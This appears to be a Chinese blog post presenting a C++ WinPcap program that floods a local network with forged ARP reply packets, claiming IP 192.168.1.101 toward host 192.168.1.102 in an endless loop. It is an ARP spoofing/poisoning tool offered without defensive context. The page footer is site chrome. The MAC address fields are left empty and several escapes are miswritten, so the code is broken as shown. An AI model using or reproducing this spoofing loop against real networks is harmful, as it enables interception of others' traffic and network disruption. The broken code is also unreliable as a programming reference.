arp

// TestArp.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include "pcap.h "


/* 4 bytes IP address */
struct ip_address
{
 u_char byte1;
 u_char byte2;
 u_char byte3;
 u_char byte4;
};

struct   Hard_Mac   //48位的MAC地址
{
 u_char   byte1;
 u_char   byte2;
 u_char   byte3;
 u_char   byte4;
 u_char   byte5;
 u_char   byte6;
};

struct  Ethernet_Header   //112位   48位SMac+48位SMac+16位协议类型   以太网头
{
 Hard_Mac   DMac;   //(1)48位目MAC地址
 Hard_Mac   SMac;       //(2)48位源MAC地址
 u_short     PType;     //(3)16位协议类型
};


struct arphdr //arp头结构
{
 Ethernet_Header eth_header;
 unsigned short arp_hdr;
 unsigned short arp_pro;
 unsigned char arp_hln;
 unsigned char arp_pln;
 unsigned short arp_opt;
 Hard_Mac arp_sha;
 ip_address arp_spa;
 Hard_Mac arp_tha;
 ip_address arp_tpa;
};


int _tmain(int argc, _TCHAR* argv[])
{
 
 pcap_if_t *alldevs;
 pcap_if_t *d;
 pcap_t *fp;
 int inum;
 int i=0;
 char errbuf[PCAP_ERRBUF_SIZE];

 /* Retrieve the device list */
 if(pcap_findalldevs(&alldevs, errbuf) == -1)
 {
  fprintf(stderr,"Error in pcap_findalldevs: %s/n", errbuf);
  exit(1);
 }

 /* Print the list */
 for(d=alldevs; d; d=d->next)
 {
  printf("%d. %s", ++i, d->name);
  if (d->description)
   printf(" (%s)/n", d->description);
  else
   printf(" (No description available)/n");
 }

 if(i==0)
 {
  printf("/nNo interfaces found! Make sure WinPcap is installed./n");
  return -1;
 }

 printf("Enter the interface number (1-%d):",i);
 scanf("%d", &inum);

 /* Check if the user specified a valid adapter */
 if(inum < 1 || inum > i)
 {
  printf("/nAdapter number out of range./n");

  /* Free the device list */
  pcap_freealldevs(alldevs);
  return -1;
 }

 /* Jump to the selected adapter */
 for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

 /* Open the adapter */
 if ((fp = pcap_open_live(d->name,  // name of the device
  65536,   // portion of the packet to capture. It doesn't matter in this case
  1,    // promiscuous mode (nonzero means promiscuous)
  1000,   // read timeout
  errbuf   // error buffer
  )) == NULL)
 {
  fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n", argv[1]);
  return 2;
 }

 while (true)
 {

  arphdr arp;
  arp.eth_header.PType = 0x0806;
  //  target
  arp.eth_header.DMac.byte1 = ;
  arp.eth_header.DMac.byte2 = ;
  arp.eth_header.DMac.byte3 = ;
  arp.eth_header.DMac.byte4 = ;
  arp.eth_header.DMac.byte5 = ;
  arp.eth_header.DMac.byte6 = ;

  arp.arp_tha.byte1 = ;
  arp.arp_tha.byte2 = ;
  arp.arp_tha.byte3 = ;
  arp.arp_tha.byte4 = ;
  arp.arp_tha.byte5 = ;
  arp.arp_tha.byte6 = ;

  arp.arp_tpa.byte1 = 192;
  arp.arp_tpa.byte2 = 168;
  arp.arp_tpa.byte3 = 1;
  arp.arp_tpa.byte4 = 102;

  //sender
  arp.eth_header.SMac.byte1 = ;
  arp.eth_header.SMac.byte2 = ;
  arp.eth_header.SMac.byte3 = ;
  arp.eth_header.SMac.byte4 = ;
  arp.eth_header.SMac.byte5 = ;
  arp.eth_header.SMac.byte6 = ;
  arp.arp_sha.byte1 = ;
  arp.arp_sha.byte2 = ;
  arp.arp_sha.byte3 = ;
  arp.arp_sha.byte4 = ;
  arp.arp_sha.byte5 = ;
  arp.arp_sha.byte6 = ;

  arp.arp_spa.byte1 = 192;
  arp.arp_spa.byte2 = 168;
  arp.arp_spa.byte3 = 1;
  arp.arp_spa.byte4 = 101;

  arp.arp_hdr = 0x0001;
  arp.arp_pro = 0x0800;
  arp.arp_hln = 6;
  arp.arp_pln = 4;
  arp.arp_opt = 0x0002;

  /* Send down the packet */
  if (pcap_sendpacket(fp, // Adapter
   &arp.eth_header.DMac.byte1,    // buffer with the packet
   sizeof(arp)     // size
   ) != 0)
  {
   fprintf(stderr,"/nError sending the packet: %s/n", pcap_geterr(fp));
   return 3;
  }
  //Sleep(10);
  //printf("Error sending the packet: %s/n", "sss");
 }
 pcap_close(fp); 

 return 0;
}

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值